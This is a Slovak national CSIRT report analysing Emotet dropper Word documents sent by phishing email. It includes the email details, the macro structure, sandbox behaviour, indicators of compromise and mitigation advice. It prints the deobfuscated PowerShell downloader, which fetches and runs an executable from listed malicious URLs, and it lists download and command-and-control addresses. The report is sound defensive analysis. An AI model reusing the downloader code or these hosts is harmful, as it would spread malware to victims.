Analýza droppera malvéru Emotet

Záverečná správa

Vypracoval: Vládna jednotka CSIRT.SK
Ministerstvo investícií, regionálneho rozvoja a informatizácie SR
Štefánikova 882/15
811 05 Bratislava

Dátum vypracovania správy: 23.9.2020

Vypracoval: CSIRT.SK

Poučenie o narábaní s informáciami: Traffic Light Protokol (TLP)

Tímy CSIRT sa pri komunikácii a výmene informácií riadia tzv. TLP (Traffic Light Protocol), ktorý využíva štyri farby na indikáciu rôznych stupňov citlivosti informácií a primeraných spôsobov zdieľania týchto informácií:

TLP: RED[1] – nezverejniteľné informácie, ku ktorým majú prístup len oprávnené osoby a nemôžu byť ďalej šírené. O týchto informáciách nie je povolené diskutovať v prítomnosti tretích osôb.

TLP: AMBER[2] – informácie je možné sprístupniť len osobám participujúcim na výmene informácií a osobám v rámci organizácie, resp. konštituencie, a to na báze „need to know“. Toto označenie sa používa pri výmene citlivých informácií, pri ktorých je potreba ich efektívneho zdieľania medzi oprávnenými adresátmi, existuje však riziko narušenia súkromia, reputácie alebo prevádzky v prípade ich úniku.

TLP: GREEN[3] – informácie, ktoré je možné zdieľať s ostatnými organizáciami alebo osobami v rámci širšej komunity alebo sektora, nie je ich však vhodné šíriť prostredníctvom verejne prístupných komunikačných kanálov, ako napr. webová stránka.

TLP: WHITE[4] – informácie určené pre verejnosť, ktorých šírenie nie je obmedzené. Pri ich používaní je však potrebné rešpektovať autorské práva.

[1] Zodpovedá klasifikačnému stupňu „prísne chránené“ pre označenie dôvernosti informačného aktíva podľa prílohy č. 1 k vyhláške č. 362/2018 Z. z.

[2] Zodpovedá klasifikačnému stupňu „chránené“ pre označenie dôvernosti informačného aktíva podľa prílohy č. 1 k vyhláške č. 362/2018 Z. z.

[3] Zodpovedá klasifikačnému stupňu „interné“ pre označenie dôvernosti informačného aktíva podľa prílohy č. 1 k vyhláške č. 362/2018 Z. z.

[4] Zodpovedá klasifikačnému stupňu „verejné“ pre označenie dôvernosti informačného aktíva podľa prílohy č. 1 k vyhláške č. 362/2018 Z. z.

Manažérske zhrnutie

Cieľom analýzy boli podozrivé emailové správy obsahujúce prílohu vo formáte .doc používanom programom Microsoft Word. Príloha obsahovala makrá, ktorých škodlivý kód sa pokúsil pripojiť na stránky spojené s bankovým malvérom Emotet a stiahnuť z nich spustiteľný súbor. Súbor sa v niektorých vzorkách nepodarilo stiahnuť. Pravdepodobne bol už malvér z daných adries odstránený. Iné vzorky kontaktovali aktívne adresy a malvér z nich bol sťahovaný.

Stručná analýza

Bolo zachytených 5 emailov obsahujúcich podozrivé prílohy s príponou .doc. Prílohy emailu s názvami - Account_2020_09_8960863517.doc, PO# 09182020.doc, DOK_2020_09.doc, BIC_17_09_2020_5516278900.doc, FILE_17_09_2020.doc boli vo formáte MS Office Word, v ktorom sa nachádzal obfuskovaný VBA skript vložený v makre. Ten následne spustil program PowerShell s parametrom v hexadecimálnom tvare, ktorý po pretransformovaní do ASCII znakov ukázal, že sa v ňom nachádzalo sedem webových adries z ktorých sa skript pokúšal stiahnuť a uložiť škodlivý súbor. Ten bol ukladaný pod rôznymi názvami. Len u dvoch vzoriek (Vzorka č.1, Vzorka č.4) sa tento škodlivý súbor podarilo stiahnuť, ostatné vzorky kontaktovali neaktívne adresy. Vo vzorkách, ktoré úspešne stiahli škodlivý súbor bola zachytená rovnaká aktivita. V prvom kroku takýto spustený súbor vytvoril nový proces, do ktorého sa sám duplikoval. Následne prebehla komunikácia s riadiacim serverom. Tieto škodlivé procesy boli viacerými antivírusovými riešeniami označené ako malvér Emotet.

Podrobná analýza

1. Emaily obsahujúce škodlivú prílohu

Boli zachytené viaceré emaily obsahujúce škodlivé prílohy. Tie mali podobné atribúty a vykonávali rovnaký škodlivý kód.

Vzorka č. 1:

V **Pondelok, 21.9.2020, 9:22 +0200 (CEST)** bol zachytený email s nasledujúcimi atribútmi:
Predmet: [WARNING: MESSAGE ENCRYPTED]Re: RO- extension of flight ban
Odosielateľ: Cristina MORTU <ito@ultrastudio.biz>
Príloha: Account_21_09_2020.zip

V .zip archívnom súbore sa nachádzal súbor s názvom Account_2020_09_8960863517.doc. Na základe MD5 hashu (7e416efcd2b5add9d528a4a2bb236f21) prílohy bolo pomocou služby VirusTotal zistené, že táto príloha obsahuje škodlivý kód. Tento súbor vo formáte MS Word Document bol na portál VirusTotal pridaný v rovnakom dátume ako bol doručený email. V čase písania reportu ho označilo ako škodlivý 43/62 antivírových riešení.
https://www.virustotal.com/gui/file/d2296173b7e22be1e539bda66456d0406f0bf271828a1a21dffa64f785b8b948/detection

Vzorka č.2:

V **Piatok, 18.9.2020, 10:15:21 +0200 (CEST)** bol zachytený email s nasledujúcimi atribútmi:
Predmet: [WARNING: MESSAGE ENCRYPTED]Mauritius - Evacuation of European Citizens
Odosielateľ: GOLABEK Michal (EEAS-PORT LOUIS) <acalidad@cacosa.net>
Príloha: PO# 09182020.doc

Pomocou MD5 hashu prílohy (5f73a7ea27d20cfec9aa15956b3e4a29) bolo prostredníctvom portálu VirusTotal zistené, že táto príloha obsahuje škodlivý kód. Tento súbor vo formáte Microsoft Office Word bol prvýkrát pridaný na VirusTotal 2 dni po tom, ako bol prijatý email - **20.9.2020.** V čase písania reportu, 36/58 antivírových programov označilo tento súbor ako škodlivý. Vo virtuálnom stroji ju Microsoft Defender detegoval ako TrojanDownloader:O97M/Emotet.CSK!MTB.
https://www.virustotal.com/gui/file/2caff98c8b43be20b11fca6020c964fc799a6a67943b917ef7ed557c458a78ed/detection

Vzorka č.3

V **Piatok, 18.9.2020, 08:58:22 +0200 (CEST)** bol zachytený email s nasledujúcimi atribútmi:
Predmet: [WARNING: MESSAGE ENCRYPTED]Aw: Attaches trip: problems in booking
Odosielateľ: Cristina MORTU <gerardo.avella@bureauveritasnla.com>
Príloha: DOK_2020_09.doc

Pomocou MD5 hashu prílohy (926d78e0c223c6644d65dfbabbb5665b) bolo pomocou portálu VirusTotal zistené, že táto príloha obsahuje škodlivý kód. Tento súbor vo formáte Microsoft Office Word bol prvýkrát pridaný na VirusTotal deň po tom,ako bol prijatý email - 19.9.2020. V čase písania reportu, 38 z 59 antivírových programov označilo tento súbor ako škodlivý. Vo virtuálnom stroji ju Microsoft Defender detegoval ako TrojanDownloader:O97M/Emotet.CSK!MTB.

https://www.virustotal.com/gui/file/94e3dd0aaab62b5b283627d2d19f021f3e51a815ce489288eb7ba9509ce79604/detection

Vzorka č.4:

Vo Štvrtok, **17.9.2020 20:19:16 +0200 (CEST)** bol zachytený email s nasledujúcimi atribútmi:

Predmet: [WARNING: MESSAGE ENCRYPTED][SPAM] Re: notification of extension of flight suspension

Odosielateľ: Cristina MORTU <ansa.t@thomastyres.co.za>

Príloha: BIC_17_09_2020_5516278900.doc

Pomocou MD5 hashu prílohy (f038a77f1307fcffb8f175a73b8acd8f) bolo prostredníctvom portálu VirusTotal zistené, že táto príloha obsahuje škodlivý kód. Tento súbor vo formáte Microsoft Office Word bol prvýkrát pridaný na VirusTotal 2 dni po tom, ako bol prijatý email - 19.9.2020. V čase písania reportu, 39 z 58 antivírových programov označilo tento súbor ako škodlivý.

https://www.virustotal.com/gui/file/9de91f69583b1765c182e6952a78af003dd26df75c249ca6c8091fa96fbc5fed/detection

Vzorka č.5:

Vo **Štvrtok, 17.9.2020, 11:54:49 +0200 (CEST)** bol zachytený email s nasledujúcimi atribútmi:

Predmet: [WARNING: MESSAGE ENCRYPTED]Aw: Mauritius - Evacuation of European Citizens

Odosielateľ: GOLABEK Michal (EEAS-PORT LOUIS) <info@rightacademics.co.uk >

Príloha: FILE_17_09_2020.doc

Pomocou MD5 hashu prílohy (a675fcda7326c1c768abe4f410c80144) bolo prostredníctvom portálu VirusTotal zistené, že táto príloha obsahuje škodlivý kód. Tento súbor vo formáte Microsoft Office Word bol prvýkrát pridaný na VirusTotal deň po tom, ako bol prijatý email - 18.9.2020. V čase písania reportu, 39 z 59 antivírových programov označilo tento súbor ako škodlivý. Vo virtuálnom stroji ju Microsoft Defender detegoval ako TrojanDownloader:O97M/Emotet.CSK!MTB.

https://www.virustotal.com/gui/file/52a2af7330c0229f576c751e8cc032dd737c9eb0f71f956f71a0d748b168abbc/detection

2. Škodlivé makrá

Pomocou nástroja oledump bola zistená štruktúra súborov. Na nasledujúcich obrázkoch je možné vidieť, že sa v týchto súboroch nachádzali makrá (označené M).

```
  1:       114 '\x01CompObj'
  2:       352 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:      7035 '1Table'
  5:    123889 'Data'
  6:        97 'Macros/N8pi3wcmvz9/\x01CompObj'
  7:       295 'Macros/N8pi3wcmvz9/\x03VBFrame'
  8:       434 'Macros/N8pi3wcmvz9/f'
  9:       508 'Macros/N8pi3wcmvz9/o'
 10:       525 'Macros/PROJECT'
 11:        92 'Macros/PROJECTwm'
 12: M   27390 'Macros/VBA/N8pi3wcmvz9'
 13: M    1696 'Macros/VBA/Wxbpnm_dbxxzkcw3k'
 14:     18307 'Macros/VBA/_VBA_PROJECT'
 15:      1541 'Macros/VBA/__SRP_0'
 16:       106 'Macros/VBA/__SRP_1'
 17:       304 'Macros/VBA/__SRP_2'
 18:       103 'Macros/VBA/__SRP_3'
 19:       863 'Macros/VBA/dir'
 20:      4096 'WordDocument'
```

```
  1:       114 '\x01CompObj'
  2:       352 '\x05DocumentSummaryInformation'
  3:       420 '\x05SummaryInformation'
  4:      7035 '1Table'
  5:     94300 'Data'
  6:        97 'Macros/O7w9kiq31cvk3g02mj/\x01CompObj'
  7:       302 'Macros/O7w9kiq31cvk3g02mj/\x03VBFrame'
  8:       434 'Macros/O7w9kiq31cvk3g02mj/f'
  9:       508 'Macros/O7w9kiq31cvk3g02mj/o'
 10:       533 'Macros/PROJECT'
 11:       104 'Macros/PROJECTwm'
 12: M    1663 'Macros/VBA/Cgra97u0vvglsj'
 13: M   29114 'Macros/VBA/O7w9kiq31cvk3g02mj'
 14:      7702 'Macros/VBA/_VBA_PROJECT'
 15:      1541 'Macros/VBA/__SRP_0'
 16:       106 'Macros/VBA/__SRP_1'
 17:       304 'Macros/VBA/__SRP_2'
 18:       103 'Macros/VBA/__SRP_3'
 19:       875 'Macros/VBA/dir'
 20:      4096 'WordDocument'
```

Pri všetkých analyzovaných vzorkách sa vyskytovala rovnaká štruktúra MS Office súborov. Rozdiel bol iba v názvoch makier.

Tieto škodlivé makrá spúšťali PowerShell kód, ktorý bol zakódovaný pomocou Base64 algoritmu a bol ďalej obfuskovaný reťazcom WTF2, ktorý sa opakoval po každom písmene. V rozličných vzorkách sa makrá líšili iba URL adresami, z ktorých sa mal stiahnuť malvér. Po odkódovaní bolo potrebné tento kód deobfuskovať. Po čiastočnej deobfuskácii bolo zistené, že jedno z makier slúžilo na načítanie súboru prílohy, a druhé spúšťalo systém WMI s argumentom získaným z prílohy.

```
&('new-'+'item') $ENv:UserProfile\Poho327\TuQ_BWI\ -itemtype directory;
[NetServicePointManager]::"SecurityProtocol" = tls12,tls11,tls;
$path=$env:UserProfile+('\Poho327\Tuq_bwi\Ojqot28t.exe');
$newNetWebClient=&('new-object') netwebclient;
$addresses=(
http://ora-ks.com/system/cache/MF1h
http://megasolucoesti.com/R9KDq0O8w/s3/
http://buyparrotsaustralia.com/4318z/q/
https://dubai-homes.ae/wp-admin/4v/
http://adventureitdate.com/wp-admin/7/
http://blog.zunapro.com/wp-admin/GoSV/
https://fepami.com/wp-includes/h/
)
foreach($a in $addressses){
      try{$newNetWebClient."downloadfile"($a, $path);
      If ((('Get-Item') $path)"Length" -ge 27381) {
            ('Invoke-Item')($path);
            break;
      }
}
catch{}
}
```

Tento kód pochádza zo Vzorky č.1. Ostatné vzorky sa líšili iba cestami, kam sa mal uložiť škodlivý súbor (náhodné reťazce) a URL adresami. Rozdielnosti sú vyznačené modrým písmom .

Cieľom PowerShell skriptu bolo pripojiť sa na adresy, ktoré obsahuje, a stiahnuť z nich spustiteľný súbor, ktorý sa ukladá do priečinkov. Tieto mali ako názov rozdielne náhodné reťazce. Rovnako názov stiahnutého škodlivého súboru bol náhodný reťazec.
Všetky URL adresy sú uvedené v prílohe.

3. Behaviorálna analýza vzoriek

Vzorka č.1

Táto vzorka bola analyzovaná 3x pomocou služby Any.run v rôznych časoch. Bolo spozorované mierne odlišné správanie pri každom spustení programu.

21.09.2020, 12:16 - https://app.any.run/tasks/babced52-b504-4551-9a66-68b57130be5c/

23.09.2020, 08:26 - https://app.any.run/tasks/8f76c58f-a40b-4f51-aa27-80d04617c32a/

23.09.2020, 12:15 - https://app.any.run/tasks/399f7bdc-da9c-4a9d-a964-14463da87a6b/

Škodlivý súbor bol stiahnutý z dvoch rôznych adries:

- *http://ora-ks.com/system/cache/MF1h/*
- *http://megasolucoesti.com/R9KDq0O8w/s3/*

a bol uložený do adresára *C:\Users\admin\Poho327\Tuq_bwi* pod názvom *Ojqot28t.exe*. Následne bol automaticky spustený. Proces *Ojqot28t.exe* vytváral procesy s rôznymi názvami:

- *cmdial32.exe*
- *redir.exe*
- *dsuiext.exe,*

z ktorých sa sám spúšťal. Tie boli službou VirusTotal a Any.run vyhodnotené ako malvér Emotet.

https://app.any.run/tasks/8f76c58f-a40b-4f51-aa27-80d04617c32a/#

https://www.virustotal.com/gui/file/3af48bd84efe72d4518091a846f6b9391eca6b0eae41f915156bff559ac32006/detection

Okrem statickej analýzy bola vykonaná aj behaviorálna analýza. Z analýzy bolo zistené, že súbor pristupuje k nasledovným artefaktom:

Zápis do registrov:

Podkľúče v registri:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache

Kľúč:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Connections\SavedLegacySettings

Hodnota: m32\MSIMG32.dl

Spojenia*:* Na vzdialený server bol posielaný HTTP POST s obsahom, ktorý bol pravdepodobne šifrovaný. Emotet odosielal informácie o infikovanom systéme na riadiace servery v sekcii „data“ požiadaviek HTTP POST a ako odpoveď pravdepodobne prijímal ďalšie príkazy a užitočné dáta zo serverov. Adresy riadiacich serverov boli nasledovné:

- *http://71.72.196.159/P1LP0LOqB4mD/ZLSui/ETyHo/*
- *http://67.10.155.92/kNfQliWadC/.*
- *http://67.10.155.92/RI8M866qEaT/MxjXxQiejiVAUeEv/Jake2EDEiZaM/E8A6b/*

Vzorka č.2

Táto vzorka bola analyzovaná 2x pomocou služby Any.run v rôznych časoch. Bolo spozorované mierne odlišné správanie pri každom spustení programu.

23.09.2020, 08:50 - https://app.any.run/tasks/e245aed4-f00d-4584-9a9e-907b914c23fb/

24.09.2020, 13:43 - https://app.any.run/tasks/cd0e8dd9-83b4-44ea-b993-2e0d032669ec/

V prípade prvého spustenia v sandboxe služby Any.run boli aktívne len dve stránky: *http://cryptokuota.com/assets/M2ngTrJ/* a *https://pinterusmedia.com/wp-admin/YX/*. Z prehľadu internetovej komunikácie vidno, že táto vzorka sa pripájala na adresy 94.237.78.68 (*cryptokuota.com*) a 178.128.105.98 (*pinterusmedia.com*) aj cez TLS/SSL, ale nesťahovala žiaden súbor. Obe stránky podľa služby VirusTotal obsahovali malvér. Napriek tomu, že stránky boli aktívne, spustiteľný súbor sa z nich nestiahol – pravdepodobne bol už odstránený.

V prípade druhého spustenia v sandboxe bolo vytvorených už 8 spojení. Prvé dve adresy boli zhodné s analýzou z predošlého dňa, avšak 24.9.2020 už bolo aktívnych viacero adries. Proces malvéru sa pripájal aj na *https://aszcasino.com/aszdemo/DRloh/* a *https://dubai-homes.ae/wp-admin/YBJR3M/, https://whitdoit.tk/ljiy53n/xxE/.* Z prehľadu internetovej komunikácie bolo zistené, že sa na prenos informácií medzi riadiacim serverom a infikovaným zariadením využíval protokol HTTPS, takže nebolo je možné odšifrovať dáta a zistiť, čo bolo prijaté na zariadenie. Z adresy 49.0.66.103 (*aszcasino.com*) bolo prijatých 68.5 Kb dát a z 104.27.130.189 (*dubai-homes.ae*) bolo prijatých 12.1 Kb dát. Na adresu 35.247.142.227 (*whitdoit.tk*) sa zariadenie pripájalo 2 krát, z toho ani raz nestiahlo dáta.

Okrem statickej analýzy bola vykonaná aj behaviorálna analýza. Z nej bolo zistené, že súbor vytváral nasledujúce artefakty:

Súbory (zápis):

C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\admin\liqqhqp\W6jsxef\N70wm26e.exe

C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFee22e.TMP

C:\Users\admin\AppData\Local\Temp\CVRD359.tmp.cvr

C:\Users\admin\AppData\Local\Temp\~$# 09182020.doc

Registre:

Súbor pristupoval a menil mnohé registre. Niekoľko hodnôt referovalo na súbory ku ktorým pristupoval. Tie boli uložené v registri

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

ktorý slúži na to, aby sa moduly programu Word načítali pri každom zapnutí.

Kľúče referovali na nasledujúce súbory:

C:\Users\admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

c:\progra~1\micros~1\office14\genko.dll

c:\users\admin\appdata\local\temp\po# 09182020.doc

Pre každý zo súborov existovalo veľké množstvo kľúčov, a každá hodnota začínala názvom kľúča, ale zvyšná časť hodnôt bola rovnaká.

Vzorka č.3

Tento súbor spúšťal identický PowerShell príkaz ako vzorka č.2. Rovnako sa nestiahol žiaden súbor, pretože dané adresy už boli neaktívne.

https://app.any.run/tasks/b324403b-3e22-4fe6-b295-06a0613142e9/

Vzorka č.4

Táto vzorka bola v službe Any.run analyzovaná 2x v rôzne dni. Bolo spozorované mierne odlišné správanie pri každom spustení programu.

18.09.2020, 12:16 - https://app.any.run/tasks/c83e673e-4c47-45e3-bf2e-d59945bb4d40/

25.09.2020, 09:01 - https://app.any.run/tasks/471a2241-0b6f-4c34-8758-8dcef5b8fb79/

V prípade prvého spustenia sa škodlivý súbor stiahol z adresy *http://rhyton-building.com/wp-admin/Ey8qV0/.* Ten sa uložil do adresára C:*Users**admin**Uofwsuv**Lnxyn6_*\ pod názvom Mjlzifmu.exe. Následne bol vytvorený proces s názvom *bdesvc.exe* s lokáciou *C:**Users**admin**AppData**Local**msjetoledb40*\, z ktorého sa sám spúšťal.

Pri druhom spustení bola zachytená komunikácia na adresy 171.22.26.120 (*rhyton-building.com*) a 23.224.135.235 (*ezzll.com*). Pri spustení v sandboxe Any.run sa skript pripojil najprv ku stránke *http://rhyton-building.com/wp-admin/Ey8qV0/* ale vrátila sa HTTP odpoveď 404 Not Found. Z adresy *http://ezzll.com/wp-includes/KIU2WU/* sa stiahol spustiteľný súbor. Ten sa rovnako uložil do adresára *C:**Users**admin**Uofwsuv**Lnxyn6_*\ pod názvom *Mjlzifmu.exe*. Následne vytváral proces s názvom wiascanprofiles.exe v lokácii *C:**Users**admin**AppData**Local**sspicli*\, z ktorého sa sám spúšťal. Služby VirusTotal a Any.run vyhodnotili tento proces ako malvér Emotet.

https://www.virustotal.com/gui/file/ddf06e4e7f5782f4968717f85329a42ba0edfe2f1dc3ac2032f143db82b0345f/detection

https://app.any.run/tasks/471a2241-0b6f-4c34-8758-8dcef5b8fb79/

Pomocou nástroja peframe bolo zistené, že tento súbor má ochranu proti debugovaniu – kontroloval prítomnosť debuggera. Preto bola na dynamickú analýzu použitá služba Any.run.

Behaviorálnou analýzou sme zistili že proces pristupuje k nasledujúcim podozrivým mutexom:

Súbory (čítanie):

*C:**Users**admin**AppData**Local**Microsoft**Windows**Caches**cversions.1.db – cache*

*C:**Users**admin**AppData**Local**Microsoft**Windows**Caches**{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001f.db – cache*

Registre:

Podkľúče v registri

*HKEY_CURRENT_USER**Software**Microsoft**Windows**CurrentVersion**Internet Settings**5.0**Cache*\

Kľúč:

*HKEY_CURRENT_USER**Software**Microsoft**Windows**CurrentVersion**InternetSettings**Connections**SavedLegacySettings*

Hodnota: m32\MSIMG32.dl

Spojenia: 71.72.196.159 a 134.209.36.254. V oboch prípadoch sa posiela na vzdialený server hexadecimálny obsah ktorý je pravdepodobne ďalej šifrovaný.

Vzorka č.5

Táto vzorka posielala GET request na http://77yxx.com/b5rh/bZxS/ ale nedostala žiadnu odpoveď.
https://app.any.run/tasks/558d6051-bffe-428f-95a6-19a8e5bc55b6/

Prílohy, ktorých makrá obsahovali rovnaký kód a rovnaký PowerShell skript boli zaznamenané na službách poskytujúcich dynamickú analýzu malvéru v rovnaký deň, ako bol poslaný mail. Tieto analýzy (https://tria.ge/200918-m7ldce5vdx/behavioral1,
https://www.joesandbox.com/analysis/287660/0/html,
https://www.joesandbox.com/analysis/287382/0/html
https://tria.ge/200917-7h3ntlt63a) ukázali, že skript stiahol malvér Emotet.

4. Indicators of Compromise (IOC)

Hashe MD5:
7e416efcd2b5add9d528a4a2bb236f21 (Account_2020_09_8960863517.doc)
5f73a7ea27d20cfec9aa15956b3e4a29 (PO# 09182020.doc)
926d78e0c223c6644d65dfbabbb5665b (DOK_2020_09.doc)
f038a77f1307fcffb8f175a73b8acd8f (BIC_17_09_2020_5516278900.doc)
a675fcda7326c1c768abe4f410c80144 (FILE_17_09_2020.doc)

Download:

IP: 85.25.34.75	**URL:** http://ora-ks.com/system/cache/MF1h
IP: 177.185.196.31	**URL:** http://megasolucoesti.com/R9KDq0O8w/s3/
IP: 94.237.78.68	**URL:** http://cryptokuota.com/assets/M2ngTrJ/
IP: 178.128.105.98	**URL:** https://pinterusmedia.com/wp-admin/YX/
IP: 49.0.66.103	**URL:** https://aszcasino.com/aszdemo/DRloh/
IP: 104.27.130.189	**URL:** https://dubai-homes.ae/wp-admin/YBJR3M/
IP: 35.247.142.227	**URL:** https://whitdoit.tk/ljiy53n/xxE/
IP: 171.22.26.120	**URL**: http://rhyton-building.com/wp-admin/Ey8qV0/
IP: 23.224.135.235	**URL**: http://ezzll.com/wp-includes/KIU2WU/

Neaktívne v čase analýzy:

- http://buyparrotsaustralia.com/4318z/q/
- https://dubai-homes.ae/wp-admin/4v/
- http://adventureitdate.com/wp-admin/7/
- http://blog.zunapro.com/wp-admin/GoSV/
- https://fepami.com/wp-includes/h/
- http://4life.com.vn/wp-admin/R/
- http://baran-business.de/wp-content/pMr/
- http://tellmetech.com/wp-content/4ka/
- https://elmundodelareposteria.com/wp-admin/0PVVmJm/

- https://manuelrozas.cl/assets/XWN/
- https://haritdharni.com/wp-admin/bZM/
- https://theworks-group.com/site/pQT6j5/
- http://77yxx.com/b5rh/bZxS/
- http://shahramookht.com/t1k12k7t/8jq/
- http://www.aciitaly.com/adminer-master/gkl/
- https://codelta.es/images/9S35FR/
- https://burstoutloud.com/PPL/Hf/
- https://targetin.com/Silder-1/naK/
- http://dbestfishing.com.sg/67s/wfe/

C&C:

IP:71.72.196.159	**URL:** http://71.72.196.159/P1LP0LOqB4mD/ZLSui/ETyHo/
IP:67.10.155.92	**URL:** http://67.10.155.92/kNfQliWadC/
	URL: http://67.10.155.92/RI8M866qEaT/MxjXxQiejiVAUeEv/ Jake2EDEiZaM/E8A6b/
IP: 71.72.196.159	**URL**: http://71.72.196.159/xrYotzMI7pvFD/kI5L/
IP: 134.209.36.254	**URL**: http://134.209.36.254:8080/sYSL/smCZntGLLXT7sYHfO/ RjQyd1gn/

Niektoré z týchto adries sa nachádzali na nasledujúcom zozname ktorý obsahuje Emotet IOCs: https://pastebin.com/CgKzqf4F

6. Odporúčania

Nasledujúce preventívne opatrenia umožňujú predchádzať rovnakému druhu útoku a jemu podobným:

- Neotvárať a nesťahovať neznáme prílohy s podozrivým názvom v emailoch, neklikať na odkazy v mailoch od neznámych odosielateľov – viac informácií v príručke „Phishingové emaily – rozpoznanie a obrana“ (https://www.csirt.gov.sk/doc/Maily.pdf).
- Zakázať makrá v Microsoft Office aplikáciách (*Súbor -> Možnosti -> Centrum dôveryhodnosti -> Nastavenie centra dôveryhodnosti -> Nastavenie makra -> Zakázať všetky makrá s oznámením*).

7.Záver

Malvér Emotet sa v minulosti objavil už v rokoch 2018 a 2019. V júli tohto roku sa znovu začal objavovať v emailových schránkach. Emotet sa nesústredí na konkrétnych používateľov, ale cieľové emailové adresy získava pravdepodobne aktívnym vyhľadávaním emailových zoznamov na internete. Malvér prešiel značným vývojom od jeho prvej vzorky a v nových verziách podvodného emailu už využíva aj personalizované správy obsahujúce napríklad mená či názvy spoločností. Stáva sa preto o to väčšou hrozbou. Podvodné emailové správy obsahovali texty v rôznych jazykoch, preto jediným spôsobom ako ho rozpoznať je analýza prílohy, ktorá zabezpečuje jeho stiahnutie do hostiteľského systému.

Príloha - Údaje o súboroch – EXIF

1. Account_2020_09_8960863517.doc

Názov súboru	Account_2020_09_8960863517.doc
Veľkosť súboru	204 377 B
Typ súboru	Microsoft Word 97-2003 Document
MD5	7e416efcd2b5add9d528a4a2bb236f21
SHA-1	9a112a468a3b2e70352876a666779038916da172
SHA-256	d2296173b7e22be1e539bda66456d0406f0bf271828a1a21dffa64f785b8b948
SSDeep	3072:Vqg22TWTogk079THcpOu5UZmpfRvAKpDRD:d/TX07hHcJQC1D
Pôvod vzorky	Príloha podozrivej emailovej správy
Spôsob analýzy	Statická, behaviorálna
Postihnuté systémy	OS Windows
Detekcia antivírmi	43/62 VirusTotal, timestamp 2020-09-21 07:29:29 UTC
ESET-NOD32	VBA/TrojanDownloader.Agent.UJV
Kaspersky	HEUR:Trojan.MSOffice.SAgent.gen
Microsoft	TrojanDownloader:O97M/Emotet.CSK!MTB
Symantec	W97M.Downloader

File Type	DOC
FileTypeExtension	doc
MIME Type	application/msword
File Size	200 kB
Creator	Mathis Pons
Modify Date	2020:09:21 06:43:00

Ojqot28t.exe

Názov súboru	Ojqot28t.exe
Veľkosť súboru	172 032 B
Typ súboru	PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5	c8568b7aa6f55e1ef22e82bf5e08fe6c
SHA-1	8274cbb971b48fbf0d1b597df9d09dc137a60aba
SHA-256	3af48bd84efe72d4518091a846f6b9391eca6b0eae41f915156bff559ac32006
SSDeep	3072:Nqwk57xDlHJMQLkWbL8hNNGTg8HrmyNFJ/ogu1pMQWqNgL4xuEQsxq:87fJMwbAhNz8LbowQWqi6LQ
Pôvod vzorky	Súbor stiahnutý Powershell skriptom
Spôsob analýzy	Statická, behaviorálna
Postihnuté systémy	OS Windows
Detekcia antivírmi	54/71 VirusTotal, timestamp 2020-09-25 12:05:31 UTC
ESET-NOD32	Win32/Emotet.CB
Kaspersky	HEUR:Trojan-Banker.Win32.Emotet.pef
Microsoft	Trojan:Win32/Emotet.ARJ!MTB
Symantec	ML.Attribute.HighConfidence

File Type	Win32 EXE
FileTypeExtension	exe
MIME Type	application/octet-stream
PE Type	PE32
File Size	168 KB
Packer	Microsoft Visual C++ v7.0

2. PO# 09182020.doc

Názov súboru	PO# 09182020.doc
Veľkosť súboru	166 839 B
Typ súboru	Microsoft Word 97-2003 Document
MD5	5f73a7ea27d20cfec9aa15956b3e4a29
SHA-1	c7b3c7ddba669c774b527770db0665556f69f5aa
SHA-256	2caff98c8b43be20b11fca6020c964fc799a6a67943b917ef7ed557c458a78ed
SSDeep	1536:T5a/aNrdi1Ir77zOH98Wj2gpngR+a9tVZVDEuEfBzoInGQ:T/rfrzOH98ipg xK5JzoCGQ
Pôvod vzorky	Príloha podozrivej emailovej správy
Spôsob analýzy	Statická, behaviorálna
Postihnuté systémy	OS Windows
Detekcia antivírmi	36/58 VirusTotal, timestamp 2020-09-20 07:56:35 UTC
ESET-NOD32	VBA/TrojanDownloader.Agent.UFY
Kaspersky	HEUR:Trojan.MSOffice.SAgent.gen
Microsoft	TrojanDownloader:O97M/Emotet.CSK!MTB
Symantec	Trojan.Gen.2

File Type	DOC
FileTypeExtension	doc
MIME Type	application/msword
File Size	163 kB
Creator	Paul Fleury
Modify Date	2020:09:18 04:35:00

3. DOK_2020_09.doc

Názov súboru	DOK_2020_09.doc
Veľkosť súboru	165 641 B
Typ súboru	Microsoft Word 97-2003 Document
MD5	926d78e0c223c6644d65dfbabbb5665b
SHA-1	39a81cfc6df8fbe86510d360b503d1dc8dbb0b4e
SHA-256	94e3dd0aaab62b5b283627d2d19f021f3e51a815ce489288eb7ba9509ce79604
SSDeep	1536:T5a/aNrdi1Ir77zOH98Wj2gpngR+a9bVZVDEuEfBzoI1GQ:T/rfrzOH98ipgHK5JzoAGQ
Pôvod vzorky	Príloha podozrivej emailovej správy
Spôsob analýzy	Statická, behaviorálna
Postihnuté systémy	OS Windows
Detekcia antivírmi	38/59 VirusTotal, timestamp 2020-09-19 10:08:29 UTC
ESET-NOD32	VBA/TrojanDownloader.Agent.UFY
Kaspersky	HEUR:Trojan.MSOffice.SAgent.gen
Microsoft	TrojanDownloader:O97M/Emotet.CSK!MTB
Symantec	Trojan.Gen.NPE

File Type	DOC
FileTypeExtension	doc
MIME Type	application/msword
File Size	162 kB
Creator	Enzo Garnier
Modify Date	2020:09:18 04:35:00

4. BIC_17_09_2020_5516278900.doc

Názov súboru	BIC_17_09_2020_5516278900.doc
Veľkosť súboru	175 806 B
Typ súboru	Microsoft Word 97-2003 Document
MD5	f038a77f1307fcffb8f175a73b8acd8f
SHA-1	f9544b1ba5526fdfdd0d8913989a8e20a813ad82
SHA-256	9de91f69583b1765c182e6952a78af003dd26df75c249ca6c8091fa96fbc5fed
SSDeep	1536:erdi1Ir77zOH98Wj2gpngR+a9otxO8nq78ct2PU7MXKSSxH5pcKaJne7y 2l:erfrzOH98ipgLkBe7N
Pôvod vzorky	Príloha podozrivej emailovej správy
Spôsob analýzy	Statická, behaviorálna
Postihnuté systémy	OS Windows
